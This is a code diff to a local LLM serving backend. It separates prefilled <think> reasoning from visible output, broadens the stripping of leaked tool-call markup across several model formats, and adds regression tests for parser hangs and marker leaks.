+    enable_thinking: Optional[bool],
+    template: Optional[str] = None,
+    reasoning_effort: Optional[str] = None,
+) -> bool:
+    """Whether this request begins inside an unclosed ``<think>`` (Qwen3/GLM prefill it). Gated on the standard markers; bespoke channels, gpt-oss, and thinking-disabled requests are excluded. ``enable_thinking=None`` defaults ON."""
+    if features.get("reasoning_style") not in ("enable_thinking", "enable_thinking_effort"):
+        return False
+    tpl = template or ""
+    if "</think>" not in tpl and "<think>" not in tpl:
+        return False
+    if features.get("reasoning_always_on"):
+        return True
+    if not features.get("supports_reasoning"):
+        return False
+    if enable_thinking is False:
+        return False
+    # reasoning_effort="none" disables thinking on enable_thinking_effort (GLM-5.2) models like
+    # enable_thinking=False; without this the answer is swallowed into empty reasoning_content.
+    if features.get("reasoning_style") == "enable_thinking_effort" and reasoning_effort == "none":
+        return False
+    return True
+
+
 def _effective_enable_tools(payload) -> Optional[bool]:
     """Resolve `payload.enable_tools` against the process-level tool policy.
 
@@ -1605,30 +1651,41 @@ def _apply_rag_nudge(nudge: str, tools: list[dict], *, rag_scope) -> str:
     return nudge + " " + _RAG_GROUNDING_NUDGE
 
 
-# Strip tool-call XML the speculative buffer in core/inference/llama_cpp.py
-# split across the visible/DRAIN boundary. Four leak shapes:
-#   1. well-formed `<tool_call>...</tool_call>` / `<function=...>...</function>`
-#   2. orphan opening to EOF (close was DRAINED)
-#   3. bare orphan close (open was DRAINED)
-#   4. tail-only `</parameter>` (outer close truncated by EOS); anchored to
-#      `\Z` so mid-text `<parameter>` in user code samples survives.
+# Strip leaked tool-call markup: every shared-parser format plus the leak shapes
+# ``llama_cpp.py``'s speculative buffer splits across the visible/DRAIN boundary. Mistral
+# ``[TOOL_CALLS]`` uses the parser's balanced-brace helper (``\{.*?\}`` would truncate nested JSON).
 _TOOL_XML_RE = _re.compile(
     # Hyphen in the name char-class matches MCP tool names with dashes
     # (mcp__srv__list-issues) that would otherwise leak past this strip.
-    r"<(?:tool_call|function=[\w-]+)>.*?(?:</(?:tool_call|function)>|\Z)"
+    # The ``<|python_tag|>`` arm runs to the next REAL Llama sentinel or EOF, so a literal
+    # ``<|...|>`` token in an argument (e.g. ``<|cite|>``) doesn't truncate the strip.
+    # ``<function=name>`` plus the ``<function name="name">`` attribute form; name class mirrors the parser.
+    # A CLOSED ``<function=...>...</function>`` extends to the last ``</function>`` before the next
+    # opener (so a literal ``</function>`` in a value can't truncate); this arm runs first.
+    r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*</function>'
+    r'|<(?:tool_call|function(?:=[\w.\-]+|\s+name="[\w.\-]+"))>.*?(?:</(?:tool_call|function)>|\Z)'
     r"|<\|tool_call>.*?(?:<tool_call\|>|\Z)"
     r"|</(?:tool_call|function)>"
     r"|<tool_call\|>"
-    r"|</parameter>\s*\Z",
+    r"|<\|python_tag\|>(?:[^<]|<(?!\|(?:eot_id|eom_id|python_tag|start_header_id|end_header_id|begin_of_text|finetune_right_pad_id)\|))*"
+    # ``</param>`` is the attribute-form alias of ``</parameter>``; strip a tail-only orphan.
+    r"|</(?:parameter|param)>\s*\Z",
     _re.DOTALL,
 )
 
 
+def _strip_tool_xml(text: str) -> str:
+    """Mistral balanced-brace helper + guarded function-XML scan + ``_TOOL_XML_RE`` (skips openers inside an open ``<parameter>``)."""
+    return _TOOL_XML_RE.sub(
+        "", _strip_function_xml_calls(_strip_mistral_closed_calls(text), final = True)
+    )
+
+
 def _strip_tool_xml_for_display(text: str, *, auto_heal_tool_calls: bool) -> str:
-    """Apply route-level XML leak cleanup only when Auto-Heal is enabled."""
+    """Route-level tool-call leak cleanup (Auto-Heal only) via ``_strip_tool_xml``."""
     if not auto_heal_tool_calls:
         return text
-    return _TOOL_XML_RE.sub("", text)
+    return _strip_tool_xml(text)
 
 
 logger = get_logger(__name__)
@@ -6511,6 +6568,22 @@ async def openai_chat_completions(
     _sf_tpl = (_sf_model_info.get("chat_template_info") or {}).get("template")
     _sf_features = _detect_safetensors_features(backend, _sf_tpl)
 
+    # Split prefilled-``<think>`` output into reasoning_content deltas (GGUF parity) so the UI
+    # renders the thinking block for safetensors and MLX.
+    _sf_parse_think = bool(
+        _sf_features.get("supports_reasoning") or _sf_features.get("reasoning_always_on")
+    )
+    # Prefilled-open only for prefill styles with thinking on this request; gpt-oss excluded.
+    _sf_reasoning_prefilled = _sf_reasoning_prefill_mode(
+        _sf_features, payload.enable_thinking, _sf_tpl, payload.reasoning_effort
+    )
+
+    def _new_sf_reasoning_extractor():
+        return _ResponsesReasoningExtractor(
+            parse_think_markers = _sf_parse_think,
+            reasoning_prefilled = _sf_reasoning_prefilled,
+        )
+
     cancel_event = threading.Event()
     completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
     created = int(time.time())
@@ -6652,6 +6725,19 @@ async def openai_chat_completions(
 
                 gen = sf_generate_with_tools()
                 prev_text = ""
+                reasoning_extractor = _new_sf_reasoning_extractor()
+
+                def _sf_flush_reasoning():
+                    # Drain the extractor at a turn boundary / stream end; only visible text reaches the monitor.
+                    fr, fv = reasoning_extractor.finish()
+                    out = []
+                    if fr:
+                        out.append(_chat_reasoning_chunk(completion_id, created, model_name, fr))
+                    if fv:
+                        api_monitor.append_reply(monitor_id, fv)
+                        out.append(_chat_content_chunk(completion_id, created, model_name, fv))
+                    return out
+
                 while True:
                     if cancel_event.is_set():
                         backend.reset_generation_state()
@@ -6668,7 +6754,11 @@ async def openai_chat_completions(
 
                     if event["type"] == "status":
                         if not event["text"]:
+                            # Turn boundary: flush reasoning, then start a fresh extractor.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         status_data = json.dumps(
                             {
                                 "type": "tool_status",
@@ -6680,7 +6770,11 @@ async def openai_chat_completions(
 
                     if event["type"] in ("tool_start", "tool_end"):
                         if event["type"] == "tool_start":
+                            # Flush reasoning before tool_start so the thinking block closes ahead of the tool card.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         yield f"data: {json.dumps(event)}\n\n"
                         continue
 
@@ -6694,9 +6788,18 @@ async def openai_chat_completions(
                     prev_text = clean_cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split reasoning vs visible; only visible reaches the monitor.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        api_monitor.append_reply(monitor_id, visible_delta)
+                        yield _chat_content_chunk(completion_id, created, model_name, visible_delta)
 
+                for _c in _sf_flush_reasoning():
+                    yield _c
                 yield _chat_final_chunk(completion_id, created, model_name, "stop")
                 # Usage chunk from the last turn, same shape as the
                 # GGUF tool loop's metadata. Request-scoped holder, so
@@ -6774,18 +6877,27 @@ async def openai_chat_completions(
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
-            api_monitor.set_reply(monitor_id, content_text)
+            # Split prefilled <think> reasoning from the visible answer; monitor gets visible text only.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                content_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            api_monitor.set_reply(monitor_id, _visible_text)
             _stats = _sf_stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed")
+            _sf_msg_kwargs = {"content": _visible_text}
+            if _reasoning_text:
+                _sf_msg_kwargs["reasoning_content"] = _reasoning_text
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = content_text),
+                        message = CompletionMessage(**_sf_msg_kwargs),
                         finish_reason = "stop",
                     )
                 ],
@@ -6864,6 +6976,8 @@ async def openai_chat_completions(
                 yield _chat_role_chunk(completion_id, created, model_name)
 
                 prev_text = ""
+                # Split prefilled <think> into reasoning_content deltas. Single turn (no per-turn reset); also MLX.
+                reasoning_extractor = _new_sf_reasoning_extractor()
                 # Run the sync generator in a thread pool to avoid blocking the
                 # event loop. Critical for compare mode: two SSE requests arrive
                 # concurrently but the orchestrator serializes them via
@@ -6892,9 +7006,21 @@ async def openai_chat_completions(
                     prev_text = cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        api_monitor.append_reply(monitor_id, visible_delta)
+                        yield _chat_content_chunk(completion_id, created, model_name, visible_delta)
 
+                final_reasoning, final_visible = reasoning_extractor.finish()
+                if final_reasoning:
+                    yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning)
+                if final_visible:
+                    api_monitor.append_reply(monitor_id, final_visible)
+                    yield _chat_content_chunk(completion_id, created, model_name, final_visible)
                 yield _chat_final_chunk(completion_id, created, model_name, "stop")
                 # Usage chunk (choices=[], usage set), same shape as the
                 # GGUF path so the speed popover works for MLX too.
@@ -6956,18 +7082,27 @@ async def openai_chat_completions(
             for token in generate():
                 full_text = token
 
+            # Split prefilled <think> reasoning from the visible answer; also covers MLX.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                full_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            _plain_msg_kwargs = {"content": _visible_text}
+            if _reasoning_text:
+                _plain_msg_kwargs["reasoning_content"] = _reasoning_text
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = full_text),
+                        message = CompletionMessage(**_plain_msg_kwargs),
                         finish_reason = "stop",
                     )
                 ],
             )
-            api_monitor.set_reply(monitor_id, full_text)
+            api_monitor.set_reply(monitor_id, _visible_text)
             _stats = stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
@@ -7790,10 +7925,18 @@ def _responses_marker_holdback(text: str, markers: tuple[str, ...]) -> int:
 class _ResponsesReasoningExtractor:
     """Split local <think> markup into Responses reasoning and visible text."""
 
-    def __init__(self, *, parse_think_markers: bool = False) -> None:
+    def __init__(
+        self,
+        *,
+        parse_think_markers: bool = False,
+        reasoning_prefilled: bool = False,
+    ) -> None:
         self._buffer = ""
-        self._in_reasoning = False
-        self._parse_think_markers = parse_think_markers
+        # ``reasoning_prefilled``: output begins inside an unclosed ``<think>`` (Qwen3/GLM prefill),
+        # so start in reasoning to capture leading text until the first ``</think>``.
+        self._in_reasoning = reasoning_prefilled
+        # Splitting requires marker parsing; a prefilled open implies it.
+        self._parse_think_markers = parse_think_markers or reasoning_prefilled
 
     def feed(
         self,
@@ -7816,14 +7959,21 @@ class _ResponsesReasoningExtractor:
             if self._in_reasoning:
                 close_idx = self._buffer.find(_RESPONSES_THINK_CLOSE)
                 if close_idx != -1:
-                    reasoning_parts.append(self._buffer[:close_idx])
+                    reasoning_parts.append(
+                        self._buffer[:close_idx].replace(_RESPONSES_THINK_OPEN, "")
+                    )
                     self._buffer = self._buffer[close_idx + len(_RESPONSES_THINK_CLOSE) :]
                     self._in_reasoning = False
                     continue
-                keep = _responses_marker_holdback(self._buffer, (_RESPONSES_THINK_CLOSE,))
+                # Hold back a trailing partial of either marker: the close (clean chunk-boundary split)
+                # and a stray open (so a re-emitted ``<think>`` isn't leaked into the reasoning drawer).
+                keep = _responses_marker_holdback(
+                    self._buffer, (_RESPONSES_THINK_CLOSE, _RESPONSES_THINK_OPEN)
+                )
                 if keep == len(self._buffer):
                     break
-                reasoning_parts.append(self._buffer[:-keep] if keep else self._buffer)
+                emit = self._buffer[:-keep] if keep else self._buffer
+                reasoning_parts.append(emit.replace(_RESPONSES_THINK_OPEN, ""))
                 self._buffer = self._buffer[-keep:] if keep else ""
                 break
 
@@ -7860,7 +8010,7 @@ class _ResponsesReasoningExtractor:
             return "", remaining
         if self._in_reasoning:
             self._in_reasoning = False
-            return remaining, ""
+            return remaining.replace(_RESPONSES_THINK_OPEN, ""), ""
         return "", remaining.replace(_RESPONSES_THINK_CLOSE, "")
 
 
@@ -7869,8 +8019,12 @@ def _extract_responses_reasoning(
     reasoning_content: Any = None,
     *,
     parse_think_markers: bool = False,
+    reasoning_prefilled: bool = False,
 ) -> tuple[str, str]:
-    extractor = _ResponsesReasoningExtractor(parse_think_markers = parse_think_markers)
+    extractor = _ResponsesReasoningExtractor(
+        parse_think_markers = parse_think_markers,
+        reasoning_prefilled = reasoning_prefilled,
+    )
     reasoning, visible = extractor.feed(text, reasoning_content)
     final_reasoning, final_visible = extractor.finish()
     return reasoning + final_reasoning, visible + final_visible
@@ -9700,7 +9854,7 @@ async def anthropic_messages(
         # Strip stale tool-call XML from conversation
         for _msg in openai_messages:
             if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
-                _msg["content"] = _TOOL_XML_RE.sub("", _msg["content"]).strip()
+                _msg["content"] = _strip_tool_xml(_msg["content"]).strip()
 
         def _run_tool_gen():
             return llama_backend.generate_chat_completion_with_tools(
@@ -9854,7 +10008,7 @@ async def _anthropic_tool_stream(
                 # content event that was purely tool XML doesn't count as text.
                 if etype == "content":
                     event = dict(event)
-                    event["text"] = _TOOL_XML_RE.sub("", event["text"])
+                    event["text"] = _strip_tool_xml(event["text"])
                 # disable_parallel_tool_use: keep only the first tool_use block,
                 # dropping every later tool_start and its paired tool_end (robust
                 # to empty tool-call ids — tracked by state, not id matching).
@@ -10040,7 +10194,7 @@ async def _anthropic_tool_non_streaming(
         etype = event.get("type", "")
         if etype == "content":
             # Strip leaked tool-call XML
-            clean = _TOOL_XML_RE.sub("", event["text"])
+            clean = _strip_tool_xml(event["text"])
             new = clean[len(prev_text) :]
             prev_text = clean
             if new:
@@ -10509,10 +10663,11 @@ async def _anthropic_passthrough_non_streaming(
     else:
         text = message.get("content") or ""
         if text:
-            # Keep unpromoted bytes when healing is active; legacy stripping is
-            # only for opted-out or no-client-tool requests.
+            # Keep unpromoted bytes when healing is active; legacy stripping is only for opted-out
+            # or no-client-tool requests. _strip_tool_xml also cleans Mistral [TOOL_CALLS] and
+            # guarded function-XML, not just _TOOL_XML_RE.
             if not healing_active:
-                text = _TOOL_XML_RE.sub("", text)
+                text = _strip_tool_xml(text)
             text = text.strip()
             if text:
                 content_blocks.append(AnthropicResponseTextBlock(text = text))
diff --git a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
index 8df8d37a52..63df86ec17 100644
--- a/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
+++ b/studio/backend/tests/test_gemma_tool_parse_edge_cases.py
@@ -21,7 +21,10 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.tool_call_parser import parse_tool_calls_from_text
+from core.inference.tool_call_parser import (
+    _gemma_parse_value,
+    parse_tool_calls_from_text,
+)
 
 
 def _args(call: dict) -> dict:
@@ -45,6 +48,17 @@ def test_normal_multi_key_arguments_still_split():
     assert _args(calls[0]) == {"a": 1, "b": "hello", "c": "x,y"}
 
 
+def test_empty_bare_value_becomes_empty_string_not_dropped():
+    # An empty bare value (``{query:}``) must serialise as ``""`` (``{"query":}`` is invalid JSON).
+    calls = parse_tool_calls_from_text("<|tool_call>call:search{query:,unit:celsius}<tool_call|>")
+    assert len(calls) == 1, calls
+    assert _args(calls[0]) == {"query": "", "unit": "celsius"}
+
+    only = parse_tool_calls_from_text("<|tool_call>call:get{q:}<tool_call|>")
+    assert len(only) == 1, only
+    assert _args(only[0]) == {"q": ""}
+
+
 def test_bare_value_with_timestamps_after_comma_is_kept():
     # A comma followed by digits-then-colon (a timestamp/ratio) is value text,
     # not a new key, so the whole query must be preserved as one argument.
@@ -159,3 +173,43 @@ def test_json_marker_inside_xml_parameter_is_not_a_second_call():
     )
     calls = parse_tool_calls_from_text(content)
     assert [c["function"]["name"] for c in calls] == ["python"], calls
+
+
+def test_gemma_parse_value_always_advances_on_stray_delimiter():
+    # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the
+    # parser, or a looping caller spins forever (DoS).
+    for delim in (",", "}", "]"):
+        text = delim + "rest"
+        value, nxt = _gemma_parse_value(text, 0)
+        assert nxt > 0, (delim, value, nxt)
+
+
+def test_malformed_gemma_array_does_not_hang():
+    # ``[},]`` (stray ``}`` in a list body) hung the buggy parser; the timeout fails
+    # the regression loudly instead of blocking CI forever.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:[},]}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed array input"
+
+
+def test_malformed_gemma_mapping_value_does_not_hang():
+    # A stray ``}`` where a mapping value is expected must also terminate.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:}},b:1}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed mapping input"
diff --git a/studio/backend/tests/test_llama_cpp_tool_loop.py b/studio/backend/tests/test_llama_cpp_tool_loop.py
index 05d2a0b80a..8977d6e92a 100644
--- a/studio/backend/tests/test_llama_cpp_tool_loop.py
+++ b/studio/backend/tests/test_llama_cpp_tool_loop.py
@@ -20,7 +20,11 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-from core.inference.llama_cpp import _PROVISIONAL_ARGS_MIN_CHARS, LlamaCppBackend
+from core.inference.llama_cpp import (
+    _MAX_REPROMPTS,
+    _PROVISIONAL_ARGS_MIN_CHARS,
+    LlamaCppBackend,
+)
 from state import tool_approvals
 from state.tool_approvals import TOOL_REJECTED_MESSAGE, resolve_tool_decision
 
@@ -1036,9 +1040,11 @@ def test_render_html_success_does_not_reprompt_render_html_intent(monkeypatch):
 def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
     """No-tool re-prompt attempts should not concatenate into the UI."""
 
-    streams = [
-        [_sse({"content": "I will use render_html now."}), _done()],
-        [_sse({"content": "Understood. I will use render_html now."}), _done()],
+    # One initial response plus one stream per re-prompt (count from the shared cap).
+    streams = [[_sse({"content": "I will use render_html now."}), _done()]]
+    streams += [
+        [_sse({"content": "Understood. I will use render_html now."}), _done()]
+        for _ in range(_MAX_REPROMPTS)
     ]
     payloads: list[dict] = []
     backend = _make_backend(monkeypatch, streams, payloads)
@@ -1073,7 +1079,7 @@ def test_internal_reprompt_attempts_do_not_duplicate_visible_text(monkeypatch):
 
     content_texts = [event.get("text", "") for event in events if event.get("type") == "content"]
     assert content_texts == ["I will use render_html now."]
-    assert len(payloads) == 2
+    assert len(payloads) == _MAX_REPROMPTS + 1
 
 
 def test_forced_reprompt_plain_final_answer_is_visible(monkeypatch):
@@ -1200,6 +1206,66 @@ def test_auto_heal_disabled_parses_well_formed_xml_when_tools_enabled(monkeypatc
     )
 
 
+def test_textual_mistral_marker_not_leaked_when_inline_with_preface(monkeypatch):
+    # Inline Mistral ``[TOOL_CALLS]`` after a visible preface: the DRAINING flush must use the
+    # shared parser patterns (the legacy set leaked the marker to clients).
+    streams = [
+        [_sse({"content": 'Let me search. [TOOL_CALLS]web_search{"query":"cats"}'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("[TOOL_CALLS]" not in t for t in content_texts), content_texts
+    assert any("Let me search." in t for t in content_texts)
+
+
+def test_textual_llama_python_tag_marker_not_leaked(monkeypatch):
+    # Same leak class for the Llama-3 built-in ``<|python_tag|>NAME.call(...)`` form.
+    streams = [
+        [_sse({"content": '<|python_tag|>web_search.call(query="cats")'}), _done()],
+        [_sse({"content": "done"}), _done()],
+    ]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, streams, payloads)
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "result"
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "search"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "cats"})]
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("<|python_tag|>" not in t for t in content_texts), content_texts
+
+
 def test_reprompted_tool_call_still_streams_final_answer(monkeypatch):
     """Suppression ends once a forced re-prompt actually calls a tool."""
 
@@ -1738,6 +1804,189 @@ def test_empty_tool_call_id_does_not_emit_provisional_card(monkeypatch):
     assert calls == [("python", {"code": big_code})]
 
 
+def _streamed_content(text: str, frag: int = 4) -> list[str]:
+    """Stream content token-by-token like llama-server; ``frag`` sets the chunk size."""
+    chunks = [_sse({"content": text[i : i + frag]}) for i in range(0, len(text), frag)]
+    chunks.append(_done())
+    return chunks
+
+
+def test_bare_json_tool_call_streamed_is_not_leaked_and_executes(monkeypatch):
+    """A wrapper-less bare-JSON call must be held while incomplete, drained silently, and executed with nothing leaking."""
+
+    bare_call = '{"name": "web_search", "parameters": {"query": "weather in Sydney"}}'
+    first_stream = _streamed_content(bare_call)
+    final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+
+    def fake_execute_tool(name, arguments, **_kwargs):
+        calls.append((name, arguments))
+        return "Weather: sunny, 22C."
+
+    monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool)
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather in Sydney?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [("web_search", {"query": "weather in Sydney"})]
+    assert any(
+        event.get("type") == "tool_end" and event.get("tool_name") == "web_search"
+        for event in events
+    )
+
+    # The bare JSON never leaked to the user-visible stream.
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('"name"' not in t for t in content_texts), content_texts
+    assert all("web_search" not in t for t in content_texts), content_texts
+    # The post-tool synthesis is still streamed.
+    assert any("sunny in Sydney" in t for t in content_texts), content_texts
+
+
+def test_ordinary_json_with_name_key_is_shown_not_treated_as_tool_call(monkeypatch):
+    """Markerless JSON with a non-enabled name is the answer, not a phantom call."""
+
+    answer = '{"name": "Alice", "parameters": {"age": 30}}'
+    first_stream = _streamed_content(answer)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give me a person record"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch):
+    """If generation is cut off mid bare-JSON object (no closing brace), the held
+    fragment must be stripped at stream end rather than dumped to the user."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_disabled_name_json_is_preserved_when_tools_active(monkeypatch):
+    """A truncated JSON answer with a non-enabled name must still be shown (resolvers are gated on enabled names)."""
+
+    truncated = '{"name": "Alice", "parameters": {"age": 30'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "give json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts
+
+
+def test_gguf_truncated_enabled_name_json_is_still_suppressed(monkeypatch):
+    """Counterpart guard: a truncated ENABLED-tool bare call (``web_search``) cut off
+    mid-JSON still must NOT leak -- the gate only spares disabled / non-tool names."""
+
+    truncated = '{"name": "web_search", "parameters": {"query": "weather in S'
+    stream = _streamed_content(truncated)
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [stream], payloads)
+
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "weather?"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert all("web_search" not in t for t in content_texts), content_texts
+    assert all('{"name"' not in t for t in content_texts), content_texts
+
+
+def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch):
+    """An oversized still-open JSON answer with a non-enabled name streams as content, not a phantom drain."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    answer = '{"name":"Alice","parameters":{"bio":"' + big  # never closes
+    first_stream = [_sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000)]
+    first_stream.append(_done())
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda n, a, **_k: (calls.append((n, a)) or "x"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "long json"}],
+            tools = [{"type": "function", "function": {"name": "web_search"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    assert calls == [], calls
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
+    assert any("Alice" in t for t in content_texts), content_texts[:1]
+
+
 def _usage_done(usage: dict, finish_reason: str = "stop") -> str:
     """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the
     real server reports it on the final chunk of a completion."""
@@ -1813,3 +2062,131 @@ def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch):
     metadata = [e for e in events if e.get("type") == "metadata"]
     assert metadata, "expected a metadata event"
     assert "prompt_tokens_details" not in metadata[-1]["usage"]
+
+
+def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch):
+    """An oversized bare-JSON call drains rather than streams, and still executes via the safety net."""
+
+    cap = 16384
+    big = "A" * (cap + 5000)
+    full = '{"name":"python","parameters":{"code":"' + big + '"}}'
+    first_stream = [_sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000)]
+    first_stream.append(_done())
+    final_stream = [_sse({"content": "done"}), _done()]
+    payloads: list[dict] = []
+    backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads)
+
+    calls: list[tuple[str, dict]] = []
+    monkeypatch.setattr(
+        "core.inference.tools.execute_tool",
+        lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"),
+    )
+
+    events = list(
+        backend.generate_chat_completion_with_tools(
+            messages = [{"role": "user", "content": "run"}],
+            tools = [{"type": "function", "function": {"name": "python"}}],
+            max_tool_iterations = 1,
+        )
+    )
+
+    content_texts = [e.get("text", "") for e in events if e.get("type") == "content"]
